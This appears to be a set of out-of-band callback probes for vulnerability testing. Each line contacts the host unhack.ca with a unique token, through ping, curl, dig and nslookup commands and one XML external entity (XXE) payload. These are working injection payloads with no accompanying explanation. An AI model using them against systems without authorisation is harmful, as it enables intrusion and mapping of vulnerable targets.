$ ping -c1 -p 00fefe610b53c277c6bc971808411900 unhack.ca
$ curl http://unhack.ca/p/fefe610b53c277c6bc9718084119
$ dig fefe610b53c277c6bc9718084119 @unhack.ca
$ dig fefe610b53c277c6bc9718084119.ns.unhack.ca
C:\> nslookup fefe610b53c277c6bc9718084119 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/fefe610b53c277c6bc9718084119">]> <foo>&xxe;</foo>